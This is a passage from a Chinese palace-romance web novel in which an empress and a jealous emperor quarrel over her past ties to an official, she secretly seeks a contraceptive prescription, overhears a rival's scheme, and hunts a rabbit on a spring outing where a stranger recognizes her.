薛弗玉只顾着女儿,也并未发觉男人的心情起伏。 后者见她一味地只和女儿说话,心里被那股郁气愈发堵得难受。 等用完晚膳,夫妻二人陪着昭昭玩了一个时辰的时间,谢敛便让人将昭昭送回了棠梨宫。 昭昭不在屋子里,瞬间就安静了许多。 宫人给他们二人添了茶之后,都识趣地退了出去。 薛弗玉坐在暖炕上,看着炕案上今日送来的玉兰花,自那晚之后,每天她的炕案上变成了各种不同的鲜花,插在各色的瓷瓶子里。 一天一个样,看着倒也还让人舒心。 她猜测这是谢敛吩咐的。 只是想起那晚之后就不见了的春兰,心里还是有些疑惑,她到底是没忍住问出了口:“陛下,臣妾那盆春兰呢?” 那晚她沐浴回来就不见了,当时她累得不想说话,以为是哪位宫人先搬走了,便没有追问,等第二日想起来再询问宫人的时候,有宫人回答是谢敛让她搬走的。 她有些纳闷,那盆春兰在她的寝殿放了一个多月都不见他说什么,不知为何那晚他却突然让人给搬走。 谢敛没想到,到了现在她还惦念着那盆春兰,甚至只有两人在的时候,她第一句话就是问这个。 他紧紧抿着唇,嘴角的笑意霎时间没了。 “玉姐姐很喜欢那盆春兰?” 半晌,只听见谢敛问了个让她觉得意外的问题。 她瞧着他平静的神色,片刻 之后如实回答:“臣妾记得,臣妾上次就与陛下说了喜欢,不仅喜欢它的清香,也喜欢它的高洁。” 说完之后,男人没有说话,脸色却逐渐沉了下去。 “玉姐姐说的是花,还是人?” 那日刘均以春兰夸赞宋璋的话又在脑中回响。 所以玉姐姐直到现在,心里还装着宋璋是么? 谢敛在心里猜测。 今日朝堂之上,宋璋等人还特意上奏,说皇后因为被人陷害导致被幽禁一个多月,请求好好补偿皇后。 她是他的妻子,这些都是他该做的,还用不着一个外臣来提醒。 何况还是一位觊觎他妻子的外臣! 薛弗玉觉得他这话问得奇怪,她喜欢春兰难不成还能是因为喜欢旁人吗? 她喜欢的花那么多,总不能每一朵都代表着一个人吧,若他真是这么想,那她还挺博爱的。 “陛下,您有什么话可以直接和臣妾明说吗,臣妾不知道为何喜欢春兰也能惹了陛下不高兴。” “你果真不知道?” 谢敛将目光从白玉兰上移到她的脸上,一时分不清是白玉兰美还是她美。 见她眼中露出几分困惑,他开始想是否真的是自己误会了她。 可他们二人青梅竹马,她如何能不知道宋璋最喜欢的就是春兰呢? 薛弗玉不喜欢他用审视的目光看自己,她明知道他在无理取闹,但却不明白他到底想要她如何回答才会满意,她早已做不到事事都顺着他,也不想再这样,最终只得站起来叹了口气道:“臣妾喜欢的什么花陛下也要管吗?” 又是不直面回答他。 他还想继续追问,可也明显感觉到了她的不高兴。 潜意识里告诉他这都是因为宋璋。 他要想办法让玉姐姐彻底忘记宋璋。 很快他突然生出了一个主意,一个能宋璋彻底断了念想的主意,他要让宋璋不再对玉姐姐有不该有的心思。 男人的唇边突然泛起一抹笑意:“朕不过是随口问问,玉姐姐别生气。” 薛弗玉静静地看着他,然后转身往内室走去,一副懒得理他的模样:“陛下以后还是别这样了,搞得好像臣妾是犯人一般。” 不过才往前走了几步,身后的男人很快就跟了上前,然后从她的后面将她搂进怀中。 低沉的嗓音在耳畔响起:“玉姐姐,是我不好,不该这样与你说话,我只是担心” 说到后面他停了下来。 薛弗玉的后背紧紧贴着他的胸膛,感受着他急促的心跳,似是真的因为惹了她的不快而心慌,她皱眉:“担心什么?” 自然是担心你的心里还有宋璋。 谢敛在心里默默地回答。 “没什么,朕只是担心玉姐姐被关在凤鸾宫这一个月,怕闷坏了,所以想逗一逗你,玉姐姐,等后日朕得空了,带着昭昭去御苑放纸鸢,好么?” 后日朝中休沐,他这个做皇帝自然也能空出一点时间来。 薛弗玉整个人被他紧紧抱着,动都动不了半分,好像身后的人为了抱她而用尽了所有的力气。 “陛下以后还是别这样逗臣妾了,一点儿也不好玩。” 说完她便感觉到抱着自己的男人身子似乎顿了一下,但是很快又传来他听话的声音:“嗯,以后我不再这样了。” 薛弗玉才不信他的话,但也没继续说什么会让他不高兴的话,过了一会,她问道:“陛下要这样抱着臣妾多久?” 谢敛嗅着她身上传来的幽香,僵下巴搁在她的肩上,舒服地闭上了眼睛:“玉姐姐让我再抱一会。” 薛弗玉不再说话,就这样静静站着让他抱。 半晌,身后的男人突然道:“算起来宋璋已经到了而立之年,这些年他跟着朕做了不少实事,朕实在是不忍心看着他孤身一人,听说他家中还有母亲,朕想了想,不若赐他一门好亲事,也好让他每日回到家中,有人能在他身边陪他说说话解解闷,不至于寂寞一人,玉姐姐,你觉得如何?” 他的话说完,屋内陷入一片寂静之中。 薛弗玉不知道他为何突然说起宋璋,直觉告诉她这并不是什么好事,大约是谢敛已经知道了从前她和宋璋的事情。 若真是这样,她也许知道了谢敛是在试探自己。 她该如何回答呢? 感受着怀中女子的沉默,男人的心渐渐沉了下去。 第44章 “怎么不说话,可是朕想得不周到?” 久久得不到她的回答,男人的抬手亲昵地捏了捏她的耳垂,低声问她。 薛弗玉不喜欢谢敛这样,明明只是她和他二人之间的事情,不知道他为何要突然扯上宋璋。 明明她和宋璋之间并没有什么,可他越是这般,越让她觉得不可理喻。 自那晚俩人争吵之后,谢敛的性情越发让她琢磨不透,也越发看她看不懂了,只觉得俩人之间的距离愈发的远了。 就在身后男人的耐心快要被耗光的时候,只听见她道:“陛下体恤臣子本应是好事,但若是贸然给宋大人赐婚,怕是不妥。” 果然,她的心里还装着宋璋!谢敛脸上的神色变了变。 薛弗玉不知道她的话才说完,身后男人的目光倏地冷了下去,只听见他笑了一声,似玩笑般道:“莫非是玉姐姐有了人选?还好是说,宋璋其实心里有了心仪之人,所以才一直没有成亲。” 明明听着像是开玩笑的话,可说到最后的时候仿佛意有所指,语气中却带着丝丝冷意。 薛弗玉心中一紧,答案甚至已经呼之欲出,谢敛知道了她和宋璋的事。 且知道的不止一星半点。 她只能让自己保持冷静道:“陛下若真的想要给宋大人赐婚,还请好好替他挑选,当然,最好还是问一下宋大人是否有成亲的打算。” 不然若是宋璋没有成亲的打算,勉强的就是两个人,不仅宋璋无辜,嫁给他的女子更是无辜。 她不愿看到这样的结局,不管是对谁都不好。 谢敛听着她的建议,抱着她的手慢慢地松开了,他将人转过身面对面看着她,见她脸上露出疲惫之色,心中生出不忍,即便是不满意她的回答,却也只能隐忍不发。 “听说玉姐姐与宋璋是老相识,不如玉姐姐替我好好给他挑选合适的人选,好么?”他再次道。 薛弗玉知道他分明是在逼她,片刻之后,只得勉强点头:“既然是陛下要求的,臣妾自会替宋大人好好掌眼。” 要是真的有合适的人选,说不定对宋璋来说也是好事。 她并不想知道宋璋为何这么多年来一直未成亲,这些都是他自己的选择,与她无关,旁人不该将他不成亲的原因归结于她。 同样她也承受不起。 这个回答让身前的男人满意,他就知道玉姐姐对宋璋没有多少感情。 夜晚躺在榻上的时候,薛弗玉因着突然来了月事,她的一颗心都有些焦躁不安。 近来经历了太多的事情,许久不来的月事突然造访,让她的心情更加低落和烦躁。 来了月事,说明张太医每日给她的药已经换了,至于为何换了,大约是因为她的身子好得差不多了。 以谢敛这样频繁地索要,她隐隐有些害怕会再次怀孕。 眼下唯一能安慰她的就是来了月事,睡在身边的男人不敢乱来。 “玉姐姐,你怎么了?”谢敛明显感觉到了身边之人的异常,他抬手去碰她的肩膀,语气中明显带了担心。 薛弗玉干脆转身面对他,面部红心不跳地撒了个小谎: “臣妾来了月事,眼下小腹处有些不适。” 话音才落,就感觉到一只温热的手掌覆在了她的小腹上,紧接着替她揉了起来:“这样可有好些?” 谢敛尽量替她小心按摩着,想以此来缓解她因为月事带来的不适。 薛弗玉愣了一下,其实她并未觉得有多不舒服,不过是随便说的话,没想到他竟是认真地替她按摩了起来。 “陛下明日还要上朝,还是不要在臣妾身上浪费时间了。”她有些不习惯他这样,于是出声劝他。 但是谢敛哪里会听她的,仍旧执着地替她揉着肚子。 “没关系,等玉姐姐好了我再睡。”他似乎对这种事来了兴趣,并未觉得有什么,她越是想要劝他,他就揉得越认真。 薛弗玉倒是差点忘了,这人自少年起就倔,想做的事情不管是谁劝都不管用。 罢了,索性被他这样揉着小腹,自己确实舒服了许多,她抬起一只手枕着头,缓缓闭上了眼睛。 只是那只手的存在感实在是太强,她根本忽略不了,一炷香的时间过去仍旧没有睡着。 既然睡不着,她便重新睁开了眼睛,想起白天素月与她说的事情,在昏暗中对着谢敛道:“今日素月告诉臣妾的那些事,是陛下特意让李公公告知她的吗?” 她说的那些事,他自然知道是哪些。 他手上的动作停了一下,很快又接着动,他嗯了一声,片刻后又问:“玉姐姐想说什么?” 得到了他的肯定,薛弗玉便知道了封侯一事大约也是真的,可一想到忠勇侯的下场,她又蹙起眉头。 虽然阿弟不是忠勇侯那等贪得无厌之人,可她怕阿弟倘若日后功高震主,谢敛会容不下他,更何况如今阿弟手中还握有一部分的兵权,难免日后不会引起谢敛平白怀疑。 就算没有谢敛的猜忌,朝堂之上怕是也有不少虎视眈眈之人,她不想阿弟陷入这样的风波之中。 帝王之心最难猜测,还不如眼下直接替阿弟拒了,免得日后被谢敛安个什么罪名,她想了想,最终温声道:“李公公的意思是,陛下想要给阿弟封侯?” 谢敛确实有这个想法,也是他让李公公透露给素月的,他这么做只是想让薛弗玉开心一点。 也是为了补偿她。 “是有这个打算,替你阿弟高兴么?”说这话的时候,薛弗玉明显听见男人轻笑了一声。 然而她并没有高兴,反而更加担心,最后她只能轻声道:“还请陛下再考虑,臣妾觉得阿弟他还年轻,封侯还太早了些。” 若是论资质,阿弟自然是担得起这加官进爵,只是她并不想要阿弟成为众矢之的。 谢敛想过她会如何高兴,却没想到她会拒绝他。 “为什么?”他有很多话想问,最终却只说出了这三个字。 为什么? 自然是担心他哪天后悔,担心他哪天会因为旁人的话而对阿弟生出不满,担心他觉得阿弟生了异心,更担心哪天他和阿弟君臣离心,毕竟阿弟与他的关系本就一般。 届时阿弟是不是也会落得和忠勇侯一样的下场,又有谁知道呢。 其实她想了这么多,归结到底,是她不信任他这个枕边人。 可这些要她怎么说得出口,又如何敢在他跟前说出口? “陛下,阿弟如今已经是二品将军,这对他来说已经足够了,臣妾只是担心真封侯的话,旁人会不服气。”薛弗玉平静道。 “朕给他封侯,谁敢不服气?”谢敛皱眉道。 薛弗玉干脆直白道:“陛下难道还不明白,如今后宫之中只有臣妾一人独大,陛下又不愿纳妃,臣妾的阿弟要是再封侯,将来等待臣妾和阿弟的会是什么,陛下清楚,臣妾自然也清楚,臣妾只想阿弟好好的,若是可以,臣妾愿意劝阿弟归还兵权给陛下。” 其实不用她劝,之前薛岐让楚莹带给她的那封信中,就有提到想归还兵权一事,具体为的是什么,薛岐却没有在上面与她说清楚。 但是她也猜到了一些,阿弟那样做多半是为的她。 她的话音一落,只感觉到替她揉着小腹的手停了下来,然后收了回去。 接着男人坐起了身。 昏暗中,她隐约能看出他此时正垂头打量着她,无端的,她被那双眼睛看得有些害怕,心里开始思考是不是不该在他跟前说这样的话。 皇恩浩荡,她竟敢拒绝。 她倒是忘了,眼前的人是说一不二的皇帝,或许是方才他像寻常夫君一样替她揉着小腹,给了她错觉,她一时忘形,才会把心里的话都说了出来。 片刻,她动了动嘴唇,最后却又没说什么。 说都说了,便不能收回,况且那些就是她的真心话,现在惹了他,也总比以后好。 俩人就这样僵持着,谁也没有先开口说话。 不知道过了多久,眼前的男人终于说话了,黑暗中,她似乎听见他自嘲一笑。 “玉姐姐是不信任我么?”早在她三番两次拒绝的时候,他隐约猜出来了。 他的心里没有因为她的不信任而生出任何的怒气,反而有苦涩在蔓延,心脏像是被什么东西狠狠扎了进去。 薛弗玉不知道要怎么回答他这个问题,她确实不信任他,不然也不会在得知他想要给阿弟封侯的时候,没有任何高兴的感觉,反而开始担忧他们姐弟的未来。 就在她想要回答的时候,却见男人又重新躺了回去,然后抬手将她搂进怀中,低声道:“就当我没问过,睡吧。” 谢敛这时候才发现自己竟是不敢去听她的回答。 他害怕听见她的肯定,半晌,他在心底自嘲,什么时候自己也学会自欺欺人了? 薛弗玉被迫靠着他的胸膛,听着他不规则的心跳,在心里默默叹了口气。 他这又是何必呢。 他们如今哪里还回得到过去,自薛明宜回京之后的种种,再到假孕一事,她已对他渐渐失望。 近些日子以来,每每与他虚与委蛇,她都觉得累。 想着或许哪天她对他彻底失望了,就会毫不犹豫地离开吧…… 屋子里再次陷入静谧之中,床榻上靠得极近的男女,分明却又相隔遥远。 …… 楚莹没想到太后倒了,她还有进宫的机会。 只是这一次进宫目的不再是偶遇皇帝,而是皇后娘娘在凤鸾宫诏她,她的身后还跟着打扮成侍女的女医。 宫人领着她们二人一路进了凤鸾宫。 到了正殿门口,另有宫人进去通传,很快又脸上带着浅笑对着她们客气道:“楚姑娘,娘娘请你进去。” 楚莹看了一眼身后侍女打扮的杜若,才踏过门槛走了进去。 杜若跟在她身后,没有人拦她,想来是早已说好的。 她没想到皇后娘娘会让自己扮成侍女混进宫,一开始她还以为是来找她的人逗她完的,没想到竟然是真的。 只是进宫前她又去找了宋璋,把这件事告诉了他,宋璋倒是没有说什么,只让她照做。 她心中本就有疑惑,为何皇后娘娘会认识她,而且还专门让她乔装进宫。 直到跟着楚莹进了正殿,看清楚坐在主位穿着华贵的女子之后,心中才猜到了几分。 竟是那晚悄悄让她诊脉的夫人! 她的震惊得太过明显,一双眼睛直愣愣地瞪着对方,直到楚莹扯了扯她的袖子,拉着她一起行礼,她才收起了自己夸张的表情,不敢再大刺刺地去看她。 “免礼,坐吧。” 薛弗玉见到杜若,心里总算是松了口气,原先她还担心对方不愿意进宫。 等人给楚莹上完茶之后,薛弗玉又让人给杜若搬了一张绣凳,让她坐在楚莹的后方。 “楚姑娘的家人如今可还好?”薛弗玉想着太后被幽禁在护国寺,想起楚莹的家人许是还在太后手上,于是问起。 楚莹没想到她居然知道这些,便道:“民女的家人已经无事,等过些日子,民女就可以离京回家与他们团圆。” 隔壁那男人倒是没有骗她,她替他进宫给皇后娘娘传了信,他竟然真的帮她的家人解围了。 如此薛弗玉也放心了,她笑着又拉着楚莹说了些无关紧要的事,最后对着屋内的宫人道:“都出去吧,本宫和楚姑娘有些体己话要说。” 直到宫人都退了出去,薛弗玉脸上的笑也收了起来。 她看 向一直安静坐在角落的杜若,对着对方道:“今日请杜大夫进宫,实在是本宫有事相求,还请杜大夫再替本宫把脉。” 说着她起身往寝殿内走去。 杜若也不扭捏,直接起身跟了去。 碧云对着一脸迷茫的楚莹笑道:“楚姑娘,娘娘有事要单独与杜大夫说,还请姑娘先在这里坐着。” 宫里的事情楚莹一概知道不能好奇,尤其是涉及到贵人的事,她乖巧地点头,也不多问。 这边薛弗玉进了寝殿,她在一旁坐下,桌子上已经准备脉枕,她直接将手放了上去,然后对着杜若道:“还请杜大夫再替本宫诊脉,瞧一瞧本宫的身子是否已经好了。” 杜若走过去在另一边坐下,伸手替她诊脉。 半晌之后,她面露惊奇:“皇后娘娘的身子竟是养好了!想要再有孕不是什么难事。” 果然,薛弗玉收回了自己的手。 杜若想想也是,身在皇宫什么好药没有。 只是为何她说完之后,皇后娘娘的表情看着也不太像是高兴的样子。 难不成皇后她不想给皇帝生孩子吗? 为了印证她的话,下一瞬她就听见眼前眉目温柔的女子轻声问:“本宫想要同你求一味避子药,不知道杜大夫可否给本宫?” 第45章 “娘娘,人已经送出宫门去了。” 碧云回来复命的时候,正看见薛弗玉倚着椅子坐在窗边,她盯着窗外的海棠花出神,脸上神色平淡,让人猜不到她此时是如何的心情。 薛弗玉手上拿着的是杜若给的方子,半晌,她将方子按在了旁边的案上:“这是我方才让杜大夫开的避子药的方子,你现在就去找个可信的人出宫配几副丸药来,越快越好。” 碧云以为自己听错了,那晚娘娘说不愿再给陛下生孩子,她原以为是一时的气话,想着或许等过几日娘娘会想清楚。 谁知道娘娘竟是真的下了决心,她有心想要再劝劝:“娘娘,皇嗣一事还请慎重,万一陛下不放娘娘出宫,娘娘也得为了公主考虑。” 薛弗玉早已下定了决心,哪里还会再听这些,“好了,就照本宫的话去做。” 碧云知道她一旦做出了决定,就不会轻易更改,最后只得在心里叹了口气,从案上拿起那张药方,她看了一眼上面的药材,问:“那女医可信吗?” 薛弗玉点头:“她是宋璋的人。” 碧云骇然:“娘娘如何得知的?” 薛弗玉道:“猜的。” “娘娘真是”碧云无奈道,最后道:“虽然娘娘相信杜姑娘,但是为了保险起见,奴婢还是要找人看了没问题才给娘娘配药。” 薛弗玉扶着额头,对着她挥了挥手示意她去,算是答应了。 她有昭昭一个孩子就够了,他日谢敛真要为了皇位,而不得不另找她人,她也会和他说清楚,自己愿意退让后位,只是希望他念在成亲这十年的感情,让她出宫。 若是他不愿 罢了,哪里有什么不愿的,她一个不能生下皇位继承人的皇后,哪还有什么重要的。 说不定她这么识趣,谢敛只会更高兴,毕竟她这一走,他就能想办法接他的心上人进宫了。 想通了这些,她的心里却没有任何轻松的感觉,反而隐隐透出一点难过。 她不知道这难过从何而来,只是有些不好受,她将手放在心脏处,皱着眉头感受着它的跳动。 “娘娘这几日因为来了月事一直都闷在宫里,今日天气好,不如出去走走?” 素月进来给博山炉添香,见她懒懒地靠着美人榻,想起自被幽禁到解禁以来的这些日子,娘娘已经快两个月没有出过凤鸾宫的宫门了。 而且她能看出,自从被幽禁后,娘娘脸上的笑比以往少了许多,就连和陛下之间的气氛也变得有些奇怪。 如果她都能发觉,是不是陛下也能察觉到娘娘不快乐? 所以陛下这些日子才会天天都来娘娘宫里,并且想着法子哄娘娘开心。 薛弗玉知道素月是在担心她,这些日子素月想来也憋坏了,她思忖了片刻,而后缓缓道:“你说得对,被关了这些天,人确实有些闷坏了,替我换件衣裳吧。” 素月脸上立刻露出高兴的神色,忙唤来两名宫人替她更换衣裳,自己又给她挽了漂亮的发髻。 “这朵牡丹好看,娘娘今日就戴它吧!” 素月拿起一朵比巴掌还大的紫牡丹别在了她的鬓边,瞬间衬得镜子中的女子更加的光彩夺目。 身后的三人都发出惊叹的声音。 薛弗玉倒是没什么感觉,许是自己看惯了,不过人一打扮,心情确实会好一些,她抬手摸了摸自己的脸,脸上露出浅笑温声道:“你们几个倒是会哄人。” 素月和两名宫人相视一笑,她们并未哄娘娘,说的都是真心话。 穿戴好之后,薛弗玉让人带上小厨房新作的糕点,然后出了凤鸾宫。 西苑与御苑不同,御苑里种满了各种漂亮花木,光是以各式鲜花为主的园子就有好几个,而西苑更像是皇家的园林,里面亭台楼阁,曲水回廊,周遭花木扶疏,掩映生姿。 薛弗玉权当是散心,慢慢地在西苑逛着,直到过了一道月洞门,走到僻静的小径尽头,正要拐上一道连廊时,隔着一扇墙,忽然听见有熟悉的声音传来。 “娘娘真的要给那位用这药吗?” “自然,好不容易拿到了这药,说什么都不能浪费了,你也知道如今姑母不顶事了,我总该要为自己做打算。” “可是娘娘万一被那位知晓的话,那就完了!” “怕什么,他不会怪我的,这么多年他还念着我们之间的旧情,说明他的心里是还有我的” “娘娘,五公主还在等着咱们呢,还是快些去吧。” 是薛明宜和她的侍女。 薛弗玉脸上露出一丝讶然:她怎么会在这里的? 脚步声渐渐走远,薛弗玉停在原地眉头微微蹙起。 她们口中的那位指的又是谁,莫非是谢敛? 还有什么用药? 这主仆俩在打什么主意? “娘娘,可还要继续往前?”素月在身后提醒。 “方才的话,你们只当没听见。”薛弗玉道。 身后的宫人们自然是低头称是。 薛弗玉垂眸,太后已经不在宫里,她不知道薛明宜还能借着什么名头来。 看出了她的疑惑,素月解释道:“许是五公主邀请的,奴婢听说成王妃自小和五公主关系很好,五公主在半月前从洛阳回来了,听说是和驸马在闹和离。” “和离?”薛弗玉若有所思。 五公主谢宁贞,她记得是当初谢敛争储的时候第一个支持他的皇室中人,且还说动了驸马所在的世家裴家一起。 在当时几乎所有世家都还在观望的时候,世家之首裴家的站队显得至关重要。 她记得五公主和驸马极为恩爱,没想到不过几年的时间便要和离了。 素月也是前几日听见外面几个宫人悄悄说了一嘴:“是啊,听说是近来五公主和驸马关系不和,裴家想要给驸马纳妾,五公主不许,后来五公主发现驸马不仅偷偷在外面养了外室,甚至还与那外室有了个出生不到半岁的儿子,还敢说把那外室子抱给公主养,五公主一气之下扬言要休了驸马,之后就回了京城。” 至于何为驸马不惜得罪五公主也要在外面找外室,自然是因为五公主这几年来无所出,没有替驸马生下一儿半女,裴家着急,所以给驸马出了这么个馊主意。 万万没想到踢铁板上了,五公主从来 就不是好性儿的人,自然是不允许的。 “五公主倒是厉害。”薛弗玉有些佩服道。 她与五公主之间没什么交集,五公主与薛明宜关系又不一般,想着若是在这里见到了,难免尴尬,索性带着人离开西苑前往碧湖。 幸而西苑离碧湖不远,走了一炷香的时间就到了。 她进了湖上的六角亭中,靠在美人靠上,感受着湖面上吹来的微风。 “娘娘尝尝这芙蓉桂花糕,里面的桂花是去年咱们在凤鸾宫的院中采下的。” 素月让人把几道糕点一一摆在了亭中的案上,又将其中一道芙蓉桂花糕端到了薛弗玉的跟前。 闻到桂花的清香,薛弗玉的目光放在了那道糕点上,只见精致的糕点上面撒了写桂花,看着让人顿生食欲,她夹了一块放在唇边咬了一口,入口即化又恰到好处的甜度,不至于让人觉得腻,她吃完一整块,正要让素月再给她另一道糕点时,突然听见了谢敛的声音。 “玉姐姐在吃什么?” 玉姐姐转头,正好看见他从亭子外进来,她的目光越过他看向站在湖边的几人身上,最终落在了宋璋的身上。 那几位大臣瞧见她的目光,远远对着她行礼,她轻轻颔首,然后不动声色地收回了视线。 “不过是些小厨房做的糕点,陛下是带着那些大臣一道散心吗?” 她唇边漾起浅笑,问已经在身边坐下的男人。 谢敛捕捉到了方才她落在宋璋身上的视线,他淡淡瞥了一眼立在湖边的青年,瞧见对方恭敬地微微垂头,心里生出的不满才逐渐消失。 还算他识相。 谢敛看着眼前的女子,漫不经心地回答:“我和他们处理政事久了,想着带他们来这边吹吹风,好让他们醒醒脑子,不要再犯浑。” 薛弗玉听着他打趣的话,唇边的笑意深了一些。 今日她打扮得很得他的心,他从来都不否认自己很喜欢她的外表,当然除了外表外的其他,他也没有不喜欢的。 他靠近薛弗玉,然后将她的手握在掌心,感觉到她微凉的手掌,他眉心皱起:“怎么这么凉,冷么?” 说着又吩咐李德全去拿披风。 薛弗玉察觉到湖边那几道视线落在了他们身上,她想要抽回自己的手,只是才动了一下就被男人握得更紧了,她只得轻声道:“臣妾不冷,陛下,他们还看着呢。” 话音才落,就听见身前的男人似乎笑了一声,“玉姐姐是害羞了么?” 若不是顾忌她的心情,他恨不得把她揽进怀中,好让外面那些人知道,他的后宫中只能有玉姐姐一个,谁也别想再打后宫的主意,更别想打她的后位的主意。 不然邬程睿的下场就是前车之鉴。 想起邬程睿等人,他的眼中闪过狠厉。 亭子中的帝后二人形状亲密,刘均忍不住感叹道:“陛下和皇后娘娘的感情真是好啊,想来日后皇后娘娘再替陛下诞下小皇子,这后宫就真的形同虚设了。” 另一名大人摇了摇头道:“刘大人此言差矣,依下官看来,陛下登基这么多年都没动过纳妃的念头,后宫早已形同虚设了。” 他们知道京中不少权贵朝臣最开始想要往陛下的后宫塞人,全部都被陛下给打了回去,渐渐地大家也麻木了,与其想着往陛下的后宫塞人,还不如想着怎么搞点政绩让陛下赞赏更实际点。 宋璋听着几位同僚的话,他抬眸看向亭中的女子,思考着今日她让杜若进宫为的是什么。 明明假孕一事已过,她还有什么东西要瞒着皇帝的吗? 难不成是她的身子出了什么问题? 思及此,他突然有些担心。 “宋大人,咱们还是别在这里碍着陛下和娘娘的眼了。”刘均对着陷入沉思的宋璋道。 宋璋回神,又看了一眼薛弗玉,最终只得跟着几位同僚离开。 “还以为他们要看到什么时候。”谢敛扫了一眼离开的几人,轻嗤一声。 薛弗玉也跟着他的目光看去,正好看见走在最后的宋璋,对方似有所感,稍一回头与她对上,但是很快又将头转了回去。 这一幕谢敛自然也看到了,他眼中闪过阴郁,似笑非笑道:“朕记得除夕宴那晚,玉姐姐也与宋大人在这里赏灯。” “陛下可要尝尝这些?”薛弗玉突然道。 感觉到了身边男人情绪的变化,她趁着他分心之际,抽回自己的手夹了一块糕点送到他跟前。 谢敛垂眸看向那块糕点,半晌,就在薛弗玉以为他不会吃的时候,低头咬了一口。 他皱眉,很淡的甜味,不是他的口味。 他细细咀嚼后咽下,语气听不出高兴还是不高兴:“玉姐姐明知道我爱吃甜的。” 这是在说糕点不甜,不合他的口味。 可这本也不是特意给他吃的,自然是紧着她的口味来的。 只是她难得这般主动,他说完又低头将剩下的那半块全部都吃了进去,吃完后,那双漆黑的眸子盯着她,唇角扬起一抹笑道:“不过玉姐姐亲自喂我的,我觉得很甜。” “油嘴滑舌。”薛弗玉嗔了他一眼。 心里想的却是这男人真的越发地阴晴不定了。 谢敛喝了口茶,这时候李德全正好拿了披风来,他亲自给她披上,低头靠近她系带子的时候,男人突然道:“再过几日就是上巳节,玉姐姐想出宫踏青么?” 第46章 薛弗玉本以为谢敛那日不过是随口一问,所以并未在意,谁知道在上巳节这一天,他竟是真的带着她出宫了。 这是她今年第三次出宫,往年根本就没有这样的待遇。 她想谢敛虽然近来的行为越让她猜不透,但是总归也没有什么坏处,好歹对待她似乎比以往上心了许多。 许是为了避开京中那些出来踏青的百姓和权贵,谢敛带着她去了一处人烟稀少,又处处都是美景的地方。 今日她仍旧穿的是紫色的衣裳,素月特意替她打扮了一番,让她整个人看着像是一朵富贵花,温柔又端庄。 “方才陛下遣人来说了,让娘娘先在附近转转,奴婢瞧着那边开了好多漂亮的花,娘娘,咱们先去瞧瞧吧!” 素月年纪较碧云轻了许多,性子自然也贪玩了些,她见谢敛正在与侍卫长说着话,想着一时半会没有那么快结束,索性提议让薛弗玉先去一旁走走散心。 春风吹起薛弗玉的裙摆,她往谢敛所在的地方看了一眼,发现此时男人正严肃着一张脸,认真地听着身前的侍卫长说话,想起内侍方才略带歉意的声音,她抿了抿唇,最后道:“走吧。” 明明是他说要带着她出来散心的,结果人才到目的地,就将她给抛下了。 她的心里到底是有些不满的。 罢了,反正有他没有他都一样,她很快就在心里安慰自己。 此处位于京郊,大约是不会有什么危险,至于为何她敢断定没有危险,许是因为有谢敛在。 她在小路上慢悠悠走着,眼前所见皆是翠绿的一片,旁边草地上长了许多黄色的花朵,素月和几名宫人已经迫不及待地进了草地摘上面的黄花。 薛弗玉对于采花不感兴趣,想着平日里她们与她一道在宫里大概是闷坏了,不如今日让她们尽情地在这里好好玩上一玩,所以她也没有拘着小姑娘们。 “碧云,你也不用跟着我了。”薛弗玉对着跟着自己的碧云道。 这里附近有守卫在,倒是不用担心会有什么危险。 碧云却笑着摇了摇头:“奴婢还是跟着娘娘吧,娘娘一个人奴婢不放心。” 薛弗玉没有再说什么,她抬头望向 澄碧如洗的天空,正好看见有几只鸟飞过,她突然想起在西北时,骑在高头大马上弯弓射雕的场景。 她似乎有十年没有握过弓了吧 这般想着,她看了一眼自己的手掌,发现早年握弓留下的茧子早已消失不见,自谢敛登基以来,她在宫里算是过了整整六年养尊处优的日子,以前日日呆在凤鸾宫里倒是没觉得有什么,如今出宫,看着那一望无际的天空。 不知为何,她竟觉得身上有道无形的枷锁在桎梏着自己。 “碧云,这里可以跑马吗?”她突然问。 碧云看出了她的心思,很快否定了:“陛下不知道娘娘会骑马,就算是知道了,估计也不许娘娘骑马。” 大周并不崇尚女子骑马,对于女子骑马,周围的人只会觉得粗鲁,那些文臣雅客多吹捧贤良淑德,文雅温婉的女子。 薛弗玉想了想,觉得碧云说得对,顿时歇了这个心思,但是很快她又不死心地问:“那我能射箭吗?” 不等碧云回答,她忽然语调高了一些,指着几十米外的一棵树底下道:“快看,那里有只兔子,昭昭喜欢兔子,不如我将它捉了带回去给昭昭养着。” 碧云顺着她指的方向看去,果真瞧见了一只白色的兔子正蹲在树底下吃草,骤然看见这么一只可爱的兔子,她脸上跟着露出笑意:“娘娘好眼力,正是兔子呢!” 许久没有打猎,薛弗玉有些跃跃欲试,她兴奋地对着碧云吩咐道:“你快去找人要一把弓来!” 好不容易薛弗玉发自心底的开心,碧云自然也不好拂了她的面子,更何况这附近有巡逻的侍卫,想来不会有什么危险,于是她点了点头,很快就去找远处的侍卫借弓箭。 薛弗玉盯着那正在吃草的灰兔子,耐心地等待着碧云回来,结果那兔子似乎感知到了什么,只见它突然往树后面跳了几步。 这时候碧云终于带着弓箭来了:“娘娘,给。” 她难得也生出了玩心,从前还在西北的时候,她就偶尔会跟在娘娘的身后,看着娘娘带着薛将军打猎。 薛弗玉接过弓箭,熟练地张开弓弦,手指夹着羽箭对准远处的兔子,站在她身边的碧云也跟着屏声静气,全神贯注地等着她松弦。 然而就在她要松弦的时候,那兔子又跳远了。 “哎呀,它要跑了!”碧云在一旁着急道。 薛弗玉放下手,她转头对碧云道:“你在这等着,我去追它,两个人的话容易惊动它。” 碧云自然是不愿意的:“不行,万一娘娘遇到危险怎么办?” 薛弗玉对着她晃了晃手中的弓箭,嘴角扬起一抹笑:“我有武器,再者这里是陛下选的地方,想来不会有什么危险的,你在这里等着,如果半个时辰不见我回来,你再来找我也不迟。” 说着她握着弓箭就朝着前面去了。 留下在原地干着急的碧云。 “娘娘真是的,唉” 薛弗玉许久没有这样随心地做一件事,就好像她如今还在西北一样,自己未曾嫁人,只是无忧无虑地将军之女。 她将心里的所有杂念抛掉,认真地跟在兔子的后面,直到进了一处林子里,好不容易等到那兔子又停了下来,她忙拉紧了弓弦,然后松弦,所有的动作一气呵成。 这一箭没有射中兔子,但是与兔子擦肩而过,那兔子被吓了一跳,倒在原地一动不动。 见状她唇边泛起笑意,快步走了过去。 她在兔子跟前蹲下,发现这只胆小的兔子被吓晕过去,于是伸手摸了摸它毛绒绒的毛。 这一幕落在不远处蛰伏的人的眼中。 男人浅褐色的瞳孔在看清她的相貌时皱缩了一瞬,面上的神色出现惊愕。 怎么会是她?! 那个十几年来在他梦里挥之不去的身影,没想到此时会出现在这里。 